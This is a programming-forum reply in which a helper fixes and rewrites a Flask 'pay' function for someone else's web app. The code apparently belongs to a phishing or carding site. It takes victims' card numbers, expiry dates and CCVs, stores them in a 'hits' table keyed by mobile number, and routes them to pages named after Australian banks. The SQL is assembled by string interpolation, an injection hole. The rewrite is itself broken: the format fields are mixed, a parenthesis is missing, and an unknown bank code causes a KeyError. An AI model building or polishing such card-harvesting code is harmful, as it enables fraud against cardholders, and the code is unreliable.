IndexError: list index out of range" & "TypeError: The view function f: Flask Web App

[Larz60+]

suspect error line 40:
session['error'] == None
should be :
session['error'] = None

This function (pay) could be replaced with (no way to test, but if not correct, this is very close):

def pay():

    errors = {
        'CBA': 'CBAhome',
        'ING': 'INGhome',
        'NAB': 'NABhome',
        'ANZ': 'ANZhome',
        'WSP': 'WSPhome',
        'GRT': 'GRThome',
        'NEW': 'NEWhome'
    }

    error = "Please enter a valid card number."

    cc = "{}{1}{2}{3}".format(request.form.get('first'),
        request.form.get('second'), request.form.get('third'),
        request.form.get('fourth'))

    expiry = '{0}/{1}'.format(request.form.get('card_month'),
        request.form.get('card_year'))

    ccv = request.form.get('card_ccv')

    if luhn(cc):
        sql = "UPDATE hits SET cc = '%s', exp = '%s', ccv = '%s' \
            WHERE mob = '%s'" % (cc, expiry, ccv, session['id'])
        updateDB(sql)
        bank = checkBin(cc)
        if errors[bank]:
            session['error'] = None
            return redirect(url_for(errors[bank])
        else:
            return redirect(url_for('success'))